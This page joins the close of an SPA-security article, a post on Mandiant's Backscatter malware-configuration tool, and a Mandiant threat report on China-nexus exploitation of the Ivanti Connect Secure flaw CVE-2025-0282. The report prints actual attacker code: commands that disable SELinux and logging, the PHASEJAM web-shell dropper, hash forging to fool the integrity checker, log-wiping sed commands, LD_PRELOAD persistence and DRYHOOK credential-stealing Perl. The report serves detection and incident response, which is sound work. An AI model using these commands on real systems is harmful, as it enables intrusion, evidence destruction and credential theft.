This diagram shows a user accessing a server-side rendered application. After requesting an authenticated page in the application, the server checks if the user is authenticated and authorized to view the page. Since the user is not yet authenticated, the application renders the login page and displays that page to the user. The user then authenticates, and the server builds out the session, sets necessary cookies or tokens, and then redirects the user to the application dashboard. Upon being redirected, the user makes a request, the server checks the authentication state, and since the user has permissions to access the page, it fetches the necessary data and renders the dashboard with the data. 

Next, the user identifies an admin page URL and attempts to access it. In this instance, the application checks the authentication state and the user’s role. Since the user does not have the admin role, they are not allowed to view the page and the server responds with either a 403 Forbidden or a redirection to an error page.

A Final Word

In conclusion, SPAs offer a dynamic and engaging user experience, but they also introduce unique security challenges when implemented with client-side rendering. By understanding the vulnerabilities inherent in SPAs, such as routing manipulation, hidden element exposure, and JavaScript debugging, developers can take proactive steps to mitigate risks. Implementing robust server-side access controls, API security measures, and server-side rendering are excellent ways to safeguard SPAs against unauthorized access and data breaches. Regular penetration testing and security assessments can further strengthen the overall security posture of SPAs by identifying any security gaps present in the application and allowing developers to remediate them before they are exploited. By prioritizing security best practices, developers can ensure that SPAs deliver both a seamless user experience and a secure environment for sensitive data.

Written by: Josh Triplett

Executive Summary

Backscatter is a tool developed by the Mandiant FLARE team that aims to automatically extract malware configurations. It relies on static signatures and emulation to extract this information without dynamic execution, bypassing anti-analysis logic present in many modern families. This complements dynamic analysis, providing faster threat identification and high-confidence malware family attribution. Google SecOps reverse engineers ensure precise indicators of compromise (IOC) extraction, empowering security teams with actionable threat intelligence to proactively neutralize attacks.

Overview

The ability to quickly detect and respond to threats has a significant impact on potential outcomes. Indicators of compromise (IOCs) serve as crucial breadcrumbs, allowing cybersecurity teams to identify and mitigate potential attacks while expanding their search for related activity. VirusTotal's existing suite of tools to analyze and understand malware IOCs, and thus the Google Threat Intelligence platform by extension, is further enhanced with Backscatter.

VirusTotal has traditionally utilized dynamic analysis methods, like sandboxes, to observe malware behavior and capture IOCs. However, these methods can be time-consuming and may not yield actionable data if the malware employs anti-analysis techniques. Backscatter, a service developed by the Mandiant FLARE team, complements these methods by offering a static analysis capability that directly examines malware without executing it, leading to faster and more efficient IOC collection and high-confidence malware family identification. Additionally, Backscatter is capable of analyzing sandbox artifacts, including memory dumps, to improve support for packed and obfuscated malware that does successfully execute in dynamic environments.

Within the Google Threat Intelligence platform, Backscatter shines by identifying configuration data, embedded IOCs, and other malicious artifacts hidden within malware uploaded by users. It can pinpoint command-and-control (C2 or C&C) servers, dropped files, and other signs of malware presence, rapidly generating actionable threat intelligence. All of the extracted IOCs and configuration attributes become immediately pivotable in the Google Threat Intelligence platform, allowing users to identify additional malware related to that threat actor or activity.

Complementing Dynamic Analysis

Backscatter enables security teams to quickly understand and defend against attacks. By leveraging Backscatter's extracted IOCs in conjunction with static, dynamic, and reputational data, analysts gain a more comprehensive view of potential threats, enabling them to block malicious communication, detect and remove dropped files, and ultimately neutralize attacks.

Backscatter's static analysis approach, available in Google Threat Intelligence, provides a valuable addition to the platform's existing dynamic analysis capabilities. This combination offers a more comprehensive threat intelligence strategy, allowing users to leverage the strengths of both approaches for a more robust security posture.

Backscatter in GTI and VirusTotal

Backscatter is available to Google SecOps customers, including VirusTotal Enterprise and its superseding long-term Google Threat Intelligence platform. While detecting a file as malicious can be useful, more clarity about the specific threat provides defenders with actionable intelligence. By providing a higher confidence attribution to a malware family, capabilities and behaviors can be approximated from previous reporting without requiring manual analysis.

Figure 1: Google Threat Intelligence identifies that a service has extracted DONUT and ASYNCRAT malware configurations from the file (link)

Embedded data such as C2 servers, campaign identifiers, file paths, and registry keys can provide analysts with additional contextual information around a specific event. Google Threat Intelligence helps link that event to related activity by providing pivots to related IOCs, reports, and threat actor profiles. This additional context allows defenders to search their environment and expand remediation efforts.

Figure 2: Google Threat Intelligence displays that Backscatter was able to extract the DONUT payload

Figure 3: Google Threat Intelligence displays that Backscatter was able to extract the DONUT payload's ASYNCRAT configuration

By taking a static approach to extracting data from malware, Backscatter is able to handle files targeting different environments, operating systems, and execution mechanisms. In the previous example, the DONUT malware sample is x86 shellcode and was not able to be executed directly by a sandbox.

Backscatter in the Field

Mandiant Managed Defense leverages Backscatter to deliver faster and more accurate identification and analysis of rapidly emerging malware families. This enables them to more quickly scope threat activity and more rapidly provide customers with pertinent contextual information. From distribution campaigns providing initial access, to ransomware operations, to targeted attacks by state-sponsored actors, Backscatter aims to provide actionable threat intelligence to enable security teams and protect customers.

Figure 4: Google Threat Intelligence displays a phishing campaign involving UNC2500 using the BLACKWIDOW and DARKGATE backdoors

One example threat group is UNC2500, which primarily distributes malware via email attachments and links to compromised websites. Many of the malware families used by this group, such as QAKBOT and DARKGATE, are supported by Backscatter, allowing Managed Defense customers to proactively block IOCs extracted by Backscatter.

Figure 5: UNC2500 provides initial access to UNC4393 to deploy BASTA ransomware

Looking Ahead

Backscatter stands as a testament to Google SecOps' commitment to providing cutting-edge tools for combating cyber threats. By offering a fast and efficient way to extract IOCs through static analysis, Backscatter empowers security teams to stay one step ahead of attackers. Incorporating Backscatter into their workflow, Google Threat Intelligence customers can strengthen their cybersecurity defenses and safeguard their valuable assets.

Written by: John Wolfram, Josh Murchie, Matt Lin, Daniel Ainsworth, Robert Wallace, Dimiter Andonov, Dhanesh Kizhakkinan, Jacob Thompson

Note: This is a developing campaign under active analysis by Mandiant and Ivanti. We will continue to add more indicators, detections, and information to this blog post as needed. See the Changelog at the bottom of this post for more details.

On Wednesday, Jan. 8, 2025, Ivanti disclosed two vulnerabilities, CVE-2025-0282 and CVE-2025-0283, impacting Ivanti Connect Secure (“ICS”) VPN appliances. Mandiant has identified zero-day exploitation of CVE-2025-0282 in the wild beginning mid-December 2024. CVE-2025-0282 is an unauthenticated stack-based buffer overflow. Successful exploitation could result in unauthenticated remote code execution, leading to potential downstream compromise of a victim network.

Ivanti and its affected customers identified the compromise based on indications from the company-supplied Integrity Checker Tool (“ICT”) along with other commercial security monitoring tools. Ivanti has been working closely with Mandiant, affected customers, government partners, and security vendors to address these issues. As a result of their investigation, Ivanti has released patches for the vulnerabilities exploited in this campaign and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Mandiant attributes the activity described in this blog post to UNC5221. UNC5221 is a suspected China-nexus espionage actor that previously exploited two vulnerabilities CVE-2023-46805 and CVE-2024-21887 that impacted Ivanti Connect Secure VPN appliances as early as December 2023. Following the successful exploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection), UNC5221 leveraged multiple custom malware families including the ZIPLINE passive backdoor, THINSPOOL dropper, LIGHTWIRE web shell, and WARPWIRE credential harvester. UNC5221 was also observed leveraging the PySoxy tunneler and BusyBox to enable post-exploitation activity.

Mandiant previously attributed the SPAWN ecosystem of malware (which includes the SPAWNANT installer, SPAWNMOLE tunneler, and the SPAWNSNAIL SSH backdoor) to UNC5337. Since the publication of this blog post, Mandiant has merged UNC5337 into UNC5221.

Exploitation

While CVE-2025-0282 affects multiple patch levels of ICS release 22.7R2, successful exploitation is version specific. Prior to exploitation, repeated requests to the appliance have been observed, likely to determine the version prior to attempting exploitation.

/dana-cached/hc/hc_launcher.22.7.2.2615.jar
/dana-cached/hc/hc_launcher.22.7.2.3191.jar
/dana-cached/hc/hc_launcher.22.7.2.3221.jar
/dana-cached/hc/hc_launcher.22.7.2.3431.jar

Version detection has been observed using the Host Checker Launcher, shown above, and the different client installers to determine the version of the appliance. HTTP requests from VPS providers or Tor networks to these URLs, especially in sequential version order, may indicate pre-exploitation reconnaissance.

While there are several variations during the exploitation of CVE-2025-0282, the exploit and script generally performs the following steps:

1. Disable SELinux

2. Prevent syslog forwarding

3. Remount the drive as read-write

4. Write the script

5. Execute the script

6. Deploy one or more web shells

7. Use sed to remove specific log entries from the debug and application logs

8. Reenable SELinux

9. Remount the drive

Immediately after exploitation the threat actor disables SELinux, uses iptables to block syslog forwarding, and remounts the root partition to enable writing of malware to the appliance.

setenforce 0 iptables -A OUTPUT -p udp --dport 514 -j DROP iptables -A OUTPUT -p tcp --dport 514 -j DROP iptables -A OUTPUT -p udp --dport 6514 -j DROP iptables -A OUTPUT -p tcp --dport 6514 -j DROP mount -o remount,rw / Malware Staging

Mandiant observed the threat actor using the shell script to echo a Base64-encoded script into the /tmp/.t, and then set execution permissions on the file. The figure below shows the contents of /tmp/.t.

#!/bin/sh export LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home; export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/; dmesg -C;bash /tmp/s>/tmp/kN;

Next, the threat actor writes a Base-64 encoded ELF binary into /tmp/svb. The ELF binary first uses setuid to set the owner of the process to root. It then executes /tmp/s (PHASEJAM) which would inherit the root privileges of the parent process. The threat actor then uses dd to overwrite the svb file with zeros, and removes /tmp/.t.

/bin/chmod 6777 /tmp/svb; /tmp/svb; /bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb; /bin/chmod 666 /tmp/svb; /bin/rm -rf /tmp/.t; PHASEJAM

PHASEJAM is a dropper written as a bash shell script that maliciously modifies Ivanti Connect Secure appliance components. The primary functions of PHASEJAM are to insert a web shell into the getComponent.cgi and restAuth.cgi files, block system upgrades by modifying the DSUpgrade.pm file, and overwrite the remotedebug executable so that it can be used to execute arbitrary commands when a specific parameter is passed. 

Web Shell

PHASEJAM inserts the web shell into the legitimate files getComponent.cgi and restAuth.cgi as a function named AccessAllow(). The web shell is Perl-based and provides the threat actor with remote access and code execution capabilities on the compromised ICS server. It utilizes the MIME::Base64 module to encode and decode commands and data. 

The table below summarizes the web shell’s functionality, accessible via specific commands derived from HTTP query parameters:

Command

Description

1

Decodes the code provided in the HTTP_CODE environment variable and writes the result into a file named test.p under the /tmp directory. Executes the file using /bin/bash and returns the output of the command execution to the attacker.

2

Similar to command 1 but executes the provided commands using /home/bin/dsrunpriv and the patched remotedebug file.

3

Writes a file with a name specified in the HTTP_CODE environment variable under the /tmp directory with content provided in the License parameter. This functionality allows the attacker to upload arbitrary files on the compromised appliance.

4

Reads the content of a file specified in the Base64-decoded HTTP_CODE environment variable and returns the content to the attacker. This enables the attacker to exfiltrate data from the affected appliance.

5

Similar to command 3 but overwrites the target file instead of appending to it, in case it already exists on the appliance.

Blocked and Simulated Upgrades

To intercept upgrade attempts and simulate an upgrade, PHASEJAM injects a malicious function into the /home/perl/DSUpgrade.pm file named processUpgradeDisplay(). The functionality is intended to simulate an upgrading process that involves thirteen steps, with each of those taking a predefined amount of time. If the ICS administrator attempts an upgrade, the function displays a visually-convincing upgrade process that shows each of the steps along with various numbers of dots to mimic a running process. Further details are provided in the System Upgrade Persistence section. 

remotedebug Hooking

PHASEJAM renames the file /home/bin/remotedebug to remotedebug.bak. PHASEJAM writes a new /home/bin/remotedebug shell script to hook calls to remotedebug. The brief shell script checks for a new -c parameter that allows remote code execution by the web shell. All other parameters are passed through to remotedebug.bak.

The following provides an abridged PHASEJAM Sample:

# create backdoor 1 cp /home/webserver/htdocs/dana-na/jam/getComponent.cgi /home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if \$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi sh=$(echo CnN1YiB...QogICAK|base64 -d) up=$(echo CnN1YiB...xuIjsKCn0K |base64 -d) grep -q 'sub AccessAllow()' || echo "$sh" >> /home/webserver/htdocs/dana-na/jam/getComponent.cgi sed -i "s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; #pkill cgi-server # create backdoor 2 cp /home/webserver/htdocs/dana-na/auth/restAuth.cgi /home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if \$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi grep -q 'sub AccessAllow()' echo "$sh" >> /home/webserver/htdocs/dana-na/auth/restAuth.cgi sed -i "s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; #pkill cgi-server # remotedebug cp -f /home/bin/remotedebug /home/bin/remotedebug.bak echo IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm FzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV nLmJhayAiJEAiCmZpICAK|base64 -d >/home/bin/remotedebug chmod 777 /home/bin/remotedebug.bak sed -i "s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; # upgrade cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, \$console, \$html);return 0;popen(\*FH, \$prog);/g' /home/perl/DSUpgrade.pm grep -q 'sub processUpgradeDisplay()' || echo "$up" >> /home/perl/DSUpgrade.pm sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; pkill cgi-server Anti-Forensics

Following exploitation, the threat actor has been observed removing evidence of exploitation from several key areas of the appliance:

1. Clearing kernel messages using dmesg and removing entries from the debug logs that are generated during the exploit

2. Deleting troubleshoot information packages (state dumps) and any core dumps generated from process crashes

3. Removing log application event log entries related to syslog failures, internal ICT failures, crash traces, and certificate handling errors

4. Removing executed commands from the SELinux audit log

dmesg -C cd /data/var/dlogs/ sed -i '/segfault/d' debuglog sed -i '/segfault/d' debuglog.old sed -i '/SystemError/d' debuglog sed -i '/SystemError/d' debuglog.old sed -i '/ifttls/d' debuglog sed -i '/ifttls/d' debuglog.old sed -i '/main.cc/d' debuglog sed -i '/main.cc/d' debuglog.old sed -i '/SSL_read/d' debuglog sed -i '/SSL_read/d' debuglog.old sed -i '/tlsconnectionpoint/d' debuglog sed -i '/tlsconnectionpoint/d' debuglog.old rm -rf /data/var/statedumps/* rm -rf /data/var/cores/* cd /home/runtime/logs sed -i 's/[^\x00]\{1\}\x00[^\x00]*web server[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x00]\{1\}\x00[^\x00]*AUT24604[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x00]\{1\}\x00[^\x00]*SYS31048[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x01]\{1\}\x01[^\x01]*SYS31376[^\x01]*\x01//g' log.events.vc0 sed -i 's/\x01[^\x01]\{2,3\}6[^\x01]*ERR10073[^\xff]*\x09[^\x01]\{1\}\x01/ \x01/g' log.events.vc0 cd /data/var/log/audit/ sed -i '/bin\/web/d' audit.log sed -i '/setenforce/d' audit.log sed -i '/mount/d' audit.log sed -i '/bin\/rm/d' audit.log System Upgrade Persistence

Mandiant identified two techniques the threat actor employed to persist across system upgrades on compromised Ivanti Connect Secure appliances.

Fake System Upgrades

The first technique, utilized by PHASEJAM, prevents legitimate ICS system upgrade attempts by administrators via rendering a fake HTML upgrade progress bar while silently blocking the legitimate upgrade process. Due to the blocked upgrade attempt, the technique would allow any installed backdoors or tools left by the threat actor to persist on the current running version of the VPN while giving the appearance of a successful upgrade.  

First, the threat actor uses sed to insert a malicious Perl code into DSUpgrade.pm to modify the behavior of the system upgrade process. The malicious processUpgradeDisplay() function, which is stored in the shell variable $up, is appended to DSUpgrade.pm.

sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, \$console, \$html);return 0;popen(\*FH, \$prog);/g' /home/perl/DSUpgrade.pm grep -q 'sub processUpgradeDisplay()' || echo "$up" >> /home/perl/DSUpgrade.pm

The modification occurs within a function in DSUpgrade.pm responsible for installing the new upgrade package. The inserted call to processUpgradeDisplay() with the early return makes the legitimate popen() call to execute /pkg/dspkginstall unreachable. The following provides the relevant excerpt from DSUpgrade.pm as a result of the modification.

local *FH; my $prog = "/pkg/dspkginstall /var/tmp/new-pack.tgz"; if (defined $useUpgradePartition && $useUpgradePartition == 1) { $prog = "/pkg/dspkginstall /data/upgrade/new-pack.tgz"; } processUpgradeDisplay($prog, $console, $html); return 0; popen(*FH, $prog);

The modification intercepts the standard upgrade flow by calling the maliciously created processUpgradeDisplay() function before the legitimate upgrade command executes. The figure below provides an excerpt of the inserted processUpgradeDisplay() function that displays a fake HTML upgrade progress bar, using the sleep command to add dots every second to mimic a running process.

$mystep = 13; $count = 0; $sleep_time = 2; $myline = "Finalizing installation"; print $html "<li style=\"margin:6px;\">Step $mystep: $myline ..."; print $console "$myline ..."; while ($count < $sleep_time) { system("/bin/sleep 1"); print $html "."; print $console "."; ++$count; } print $html " complete ($sleep_time seconds)</li>\n"; print $console " complete ($sleep_time seconds)\r\n";

Recent versions of Ivanti Connect Secure have a built-in integrity checker tool (ICT) that periodically scans the file system to detect new or modified system files that may be indicative of system compromise. The ICT uses a manifest during its scanning process, containing a list of the expected file paths on the system along with its expected SHA256 hash. In an attempt to circumvent the ICT scanner, the threat actor recalculates the SHA256 hash of the modified DSUpgrade.pm and inserts it into the manifest.

sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;

The threat actor copies the VERSION file from the mounted upgrade partition (tmp/root/home/VERSION) to the current version partition (/home/VERSION). As a result, the system falsely indicates a successful upgrade while continuing to run on the old appliance version.

chdir("/tmp"); system("/bin/mkdir", "-p", "root/home"); system("/bin/tar", "-xzf", $tgz_path, "./root/home/VERSION"); system("/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION"); system("/bin/cp -f ./root/home/VERSION /home/VERSION");

The SHA256 hash of the VERSION file from the upgrade partition is recalculated and inserted into the ICT manifest.

system('sed -i \'s/$(grep /home/VERSION|grep -oE "[0-9a-f]{64}")/$(/home/bin/openssl dgst -sha256 /home/VERSION)/g\' /home/etc/manifest/manifest'); Persistence Across Upgrades

SPAWNANT (libupgrade.so) is an ELF32 executable that installs three components from the SPAWN family:

1. SPAWNMOLE tunneler (libsocks5.so)

2. SPAWNSNAIL SSH backdoor (libsshd.so)

3. SPAWNSLOTH log tampering utility (.liblogblock.so)

SPAWNANT and its supporting components can persist across system upgrades. It hijacks the execution flow of dspkginstall, a binary used during the system upgrade process, by exporting a malicious snprintf function containing the persistence mechanism.

Unlike the first method described in this blog post for system upgrade persistence, SPAWNANT does not block the upgrade process. It survives the upgrade process by ensuring itself and its components are migrated to the new upgrade partition (mounted on /tmp/data/ during a legitimate system upgrade process).

cp /lib/libupgrade.so /tmp/data/root/lib cp /home/lib/libsocks5.so /tmp/data/root/home/lib cp /home/lib/libsshd.so /tmp/data/root/home/lib

SPAWNANT sets the LD_PRELOAD environment variable to itself (libupgrade.so) within DSUpgrade.pm on the upgrade partition. The modification tells the dynamic linker to load libupgrade.so and use SPAWNANT’s malicious exported snprintf function before other libraries.

ENV{“LD_PRELOAD”} = “libupgrade.so”

Next, SPAWNANT establishes an additional method of backdoor access by writing a web shell into compcheckresult.cgi on the upgrade partition. The web shell uses system() to execute the value passed to a hard-coded query parameter. The following provides the relevant excerpt of the inserted web shell.

if(CGI::param("<redacted>")) { print "Cache-Control: no-cache"; print "Content-type: text/html"; my $a=CGI::param("<redacted>"); system("$a"); }

Throughout this entire process, SPAWNANT is careful to circumvent the ICT by recalculating the SHA256 hash for any maliciously modified files. Once the appropriate modifications are complete, SPAWNANT generates a new RSA key pair to sign the modified manifest.

/home/bin/openssl genrsa -out private.pem 2048 /home/bin/openssl rsa -in private.pem -out manifest.2 -outform PEM -pubout /home/bin/openssl dgst -sha512 -sign private.pem -out manifest.1 /tmp/data/root/home/etc/manifest/manifest mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/ rm -f private.pem' Post Exploitation Tunnelers

After establishing an initial foothold on an appliance, Mandiant observed a number of different tunnelers, including the use of publicly-available and open-source tunnelers, designed to facilitate communication channels between the compromised appliance and the threat actor’s command and control infrastructure. These tunnelers allowed the attacker to bypass network security controls and may enable lateral movement further into a victim environment.

SPAWNMOLE 

Originally reported in Cutting Edge, Part 4, SPAWNMOLE is a tunneler injected into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. SPAWNMOLE is activated when it detects a specific series of magic bytes. Otherwise, the remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer.

LDAP Queries

The threat actor used several tools to perform internal network reconnaissance. This includes using built-in tools included on the ICS appliance such as nmap and dig to determine what can be accessed from the appliance. The threat actor has also been observed using the LDAP service account, if configured, from the ICS appliance to perform LDAP queries. The LDAP service account was also observed being used to move laterally within the network, including Active Directory servers, through SMB or RDP. The observed attacker commands were prefaced by the following lines:

#!/bin/sh export LD_LIBRARY_PATH=/home/lib/; export DSINSTALL=/home; export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/; dmesg -c; <commands>

The following reconnaissance commands were seen executed by the threat actor prior to LDAP queries:

dig @<IP ADDRESS> <VICTIM DOMAIN> A nmap -Pn -sT -p 80,443,445 <IP ADDRESS> --open

LDAP queries were executed using /tmp/lmdbcerr, with output directed to randomly named files in the /tmp directory. Password, host, and query were passed as command line arguments.

/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service Accounts,DC=[redacted]' -p '[redacted]' -h <IP ADDRESS> --tls --dn DC=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> Appliance Cache Database Theft

Mandiant has observed the threat actor archiving the database cache on a compromised appliance and staging the archived data in a directory served by the public-facing web server to enable exfiltration of the database. The database cache may contain information associated with VPN sessions, session cookies, API keys, certificates, and credential material. 

The threat actor archives the contents of /runtime/mtmp/lmdb. The resulting tar archive is then renamed and masquerades itself as a CSS file located within /home/webserver/htdocs/dana-na/css/. 

Ivanti has previously published guidance on remediating the risk that may result from the database cache dump. This includes resetting local account credentials, resetting API keys, and revoking certificates.

Credential Harvesting

Mandiant has observed the threat actor deploying a Python script, tracked as DRYHOOK, to steal credentials. The malware is designed to modify a system component named DSAuth.pm that belongs to the Ivanti Connect Secure environment in order to harvest successful authentications.

Upon execution, the malicious Python script opens /home/perl/DSAuth.pm and reads its content in a buffer. Next, the malware uses regular expressions to find and replace the following lines of code:

*setPrompt *runSignin = *DSAuthc::RealmSignin_runSignin; *runSigninEBSL

The *setPrompt value above is replaced with the following Perl code:

# *setPrompt $ds_g=""; sub setPrompt{ eval{ my $res=@_[1]."=".@_[2]."\n"; $ds_g .= $res; }; return DSAuthc::RealmSignin_setPrompt(@_); } $ds_e="";

The injected setPrompt routine captures the second and the third parameter, combines them into the format <param2>=<param3> and then assigns the produced string to a global variable named $ds_g. The next replacement, shown as follows, reveals that the second parameter is a username, and the third parameter is the password of a user trying to authenticate.

# *runSignin = *DSAuthc::RealmSignin_runSignin; $ds_g1=""; sub encode_base64 ($;$) { my $res = ""; my $eol = $_[1]; $eol = "\n" unless defined $eol; pos($_[0]) = 0; # ensure start at the beginning $res = join '', map( pack('u',$_)=~ /^.(\S*)/, ($_[0]=~/(.{1,45})/gs)); $res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs # fix padding at the end my $padding = (3 - length($_[0]) % 3) % 3; $res =~ s/.{$padding}$/'=' x $padding/e if $padding; return $res; } sub runSignin{ my $res=DSAuthc::RealmSignin_runSignin(@_); if(@_[1]->{status} != $DSAuth::Reject && @_[1]->{status} != $DSAuth::Restart){ if($ds_g ne ""){ CORE::open(FH,">>/tmp/cmdmmap.kuwMW"); my $dd=RC4("redacted",$ds_g); print FH encode_base64($dd)."\n"; CORE::close(FH); $ds_g = ""; } } elsif(@_[1]->{status} == $DSAuth::Reject || @_[1]->{status} == $DSAuth::Restart){ $ds_g = ""; } return $res; } $ds_e1="";

The code above contains two subroutines named encode_base64 and runSignin. The former takes a string and Base64 encodes it, while the latter intercepts the sign-in process and upon a successful attempt serializes the saved credentials into the global variable $ds_g username and password in a file named cmdmmap.kuwMW under the /tmp directory. The <username>=<password> string is first RC4 encrypted with a hard-coded key and then Base64 encoded with the encode_base64 routine before being saved into the cmdmmap.kuwMW file.

The last code replacement is shown as follows, and it is the same code as above, but it targets a different sign-in scheme that is named EBSL in the code.

# *runSigninEBSL $ds_g2=""; sub runSigninEBSL{ my $res=DSAuthc::RealmSignin_runSigninEBSL(@_); if(@_[1]->{status} != $DSAuth::Reject && @_[1]->{status} != $DSAuth::Restart){ if($ds_g ne ""){ use Crypt::RC4; CORE::open(FH,">>/tmp/cmdmmap.kuwMW"); my $dd=RC4("redacted",$ds_g); print FH encode_base64($dd)."\n"; CORE::close(FH); $ds_g = ""; } } elsif(@_[1]->{status} == $DSAuth::Reject || @_[1]->{status} == $DSAuth::Restart){ $ds_g = ""; } return $res; } $ds_e2="";

After the changes are made, the malware attempts to write the modified content back to the DSAuth.pm file, and if unsuccessful, it will remount the file system as readwrite, write the file, and then mount the file system as readonly again. Finally, all instances of the cgi-server process are killed in order for the modified DSAuth.pm to be activated.

Attribution

Mandiant has merged UNC5337 into UNC5221, confirming initial suspicion that these clusters of activity were likely related. Apart from CVE-2023-46805 and CVE-2024-21887, Mandiant has previously observed UNC5221 conducting zero day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on appliances. Additionally, Mandiant previously observed UNC5221 leveraging a likely ORB network of compromised Cyberoam appliances to enable intrusion operations. 

Conclusion

Following the Jan. 10, 2024, disclosure of CVE-2023-46805 and CVE-2024-21887, Mandiant observed widespread exploitation by UNC5221 targeting Ivanti Connect Secure appliances across a wide range of countries and verticals. Mandiant assesses that defenders should be prepared for widespread, opportunistic exploitation, likely targeting credentials and the deployment of web shells to provide future access. Additionally, if proof-of-concept exploits for CVE-2025-0282 are created and released, Mandiant assesses it is likely additional threat actors may attempt targeting Ivanti Connect Secure appliances.

Recommendations

Ivanti recommends utilizing their external and internal Integrity Checker Tool (“ICT”) and to contact Ivanti Support if suspicious activity is identified. While Mandiant has observed threat actor attempts to evade detection by the ICT, the following screenshots provide examples of how a successful scan should appear versus an unsuccessful scan on a device that has been compromised. Note the number of steps reported by the output.

External ICT Scan - Successful

External ICT Scan - Unsuccessful (limited number of steps performed)

Ivanti also notes that the ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. The ICT does not scan for malware or other Indicators of Compromise. Ivanti recommends that customers should run the ICT in conjunction with other security monitoring tools which have detected post-exploitation activity. 

If the ICT result shows signs of compromise, Ivanti recommends a factory reset on the appliance to ensure any malware is removed and to then place the appliance back into production using version 22.7R2.5. 

Acknowledgement

We would like to thank the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

Filename

Description

DRYHOOK

n/a

Credential Theft Tool

PHASEJAM

/tmp/s

Web Shell dropper

PHASEJAM Webshell

/home/webserver/htdocs/dana-na/jam/getComponent.cgi

Web Shell

PHASEJAM Webshell

/home/webserver/htdocs/dana-na/auth/restAuth.cgi

Web Shell

SPAWNSNAIL

/root/home/lib/libsshd.so

SSH backdoor

SPAWNMOLE

/root/home/lib/libsocks5.so

Tunneler

SPAWNANT

/root/lib/libupgrade.so

Installer

SPAWNSLOTH

/tmp/.liblogblock.so

Log tampering utility

